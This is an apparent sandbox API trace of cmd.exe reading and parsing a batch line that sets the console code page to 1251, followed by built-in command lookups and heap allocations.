	[0162.099] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0162.099] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.099] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.099] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0162.100] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.100] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.100] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.101] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0162.101] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.101] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0162.102] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.102] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.102] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0162.103] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.103] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.103] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0162.103] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.103] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.103] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0162.103] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.103] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.103] ReadFile (in: hFile=0x248, lpBuffer=0x7ff640c99970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xd72279fc78, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesRead=0xd72279fc78*=0x1, lpOverlapped=0x0) returned 1
	[0162.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=1, lpWideCharStr=0x7ff640ca3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0162.104] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.104] GetFileType (hFile=0x248) returned 0x3
	[0162.104] _get_osfhandle (_FileHandle=0) returned 0x248
	[0162.104] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0162.104] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.104] GetFileType (hFile=0x254) returned 0x3
	[0162.104] _get_osfhandle (_FileHandle=1) returned 0x254
	[0162.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff640c99970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0162.104] WriteFile (in: hFile=0x254, lpBuffer=0x7ff640c99970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xd72279fc18, lpOverlapped=0x0 | out: lpBuffer=0x7ff640c99970*, lpNumberOfBytesWritten=0xd72279fc18*=0x18, lpOverlapped=0x0) returned 1
	[0162.104] GetProcessHeap () returned 0x21a42450000
	[0162.104] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x4012) returned 0x21a42458e90
	[0162.104] GetProcessHeap () returned 0x21a42450000
	[0162.104] RtlFreeHeap (HeapHandle=0x21a42450000, Flags=0x0, BaseAddress=0x21a42458e90) returned 1
	[0162.105] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0162.105] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0162.105] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0162.105] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0162.105] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0162.105] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0162.105] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0162.105] GetProcessHeap () returned 0x21a42450000
	[0162.105] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xb0) returned 0x21a42457340
	[0162.105] GetProcessHeap () returned 0x21a42450000
	[0162.105] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1a) returned 0x21a424575e0
	[0162.105] GetProcessHeap () returned 0x21a42450000
	[0162.105] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x38) returned 0x21a42457610
	[0162.106] GetConsoleOutputCP () returned 0x1b5
	[0162.125] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff640c9fbb0 | out: lpCPInfo=0x7ff640c9fbb0) returned 1
	[0162.125] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0162.125] GetConsoleTitleW (in: lpConsoleTitle=0xd72279fa60, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0162.125] malloc (_Size=0xffce) returned 0x21a42640840
	[0162.125] ??_V@YAXPEAX@Z () returned 0x21a42640840
	[0162.126] malloc (_Size=0xffce) returned 0x21a42650820
	[0162.126] ??_V@YAXPEAX@Z () returned 0x21a42650820
	[0162.127] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0162.127] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0162.127] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0162.127] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0162.127] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0162.127] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0162.127] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0162.127] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0162.127] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0162.127] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0162.127] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0162.127] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0162.127] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0162.127] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0162.127] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0162.127] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0162.127] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0162.127] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0162.127] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0162.127] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0162.127] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0162.127] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0162.127] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0162.127] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0162.127] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0162.127] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0162.127] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0162.127] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0162.128] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0162.128] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0162.128] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0162.128] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0162.128] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0162.128] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0162.128] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0162.128] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0162.128] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0162.128] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0162.128] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0162.128] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0162.128] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0162.128] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0162.128] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0162.128] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0162.128] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0162.128] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0162.128] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0162.128] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0162.128] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0162.128] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0162.128] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0162.128] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0162.128] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0162.128] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0162.128] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0162.128] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0162.128] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0162.128] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0162.128] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0162.128] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0162.128] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0162.128] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0162.129] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0162.129] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0162.129] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0162.129] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0162.129] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0162.129] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0162.129] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0162.129] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0162.129] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0162.129] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0162.129] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0162.129] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0162.129] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0162.129] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0162.129] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0162.129] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0162.129] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0162.129] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0162.129] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0162.129] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0162.129] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0162.129] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0162.129] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0162.129] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0162.129] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0162.129] ??_V@YAXPEAX@Z () returned 0x1
	[0162.129] GetProcessHeap () returned 0x21a42450000
	[0162.129] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0xffde) returned 0x21a42458e90
	[0162.130] GetProcessHeap () returned 0x21a42450000
	[0162.130] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x42) returned 0x21a42456490
	[0162.130] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0162.130] malloc (_Size=0xffce) returned 0x21a42650820
	[0162.130] ??_V@YAXPEAX@Z () returned 0x21a42650820
	[0162.131] GetProcessHeap () returned 0x21a42450000
	[0162.131] RtlAllocateHeap (HeapHandle=0x21a42450000, Flags=0x8, Size=0x1ffac) returned 0x21a42468e80
	[0162.133] SetErrorMode (uMode=0x0) returned 0x0
	[0162.133] SetErrorMode (uMode=0x1) returned 0x0
	[0162.133] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21a42468e90, lpFilePart=0xd72279f2e0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xd72279f2e0*="system32") returned 0x13
	[0162.133] SetErrorMode (uMode=0x0) returned 0x1
	[0162.133] GetProcessHeap () returned 0x21a42450000
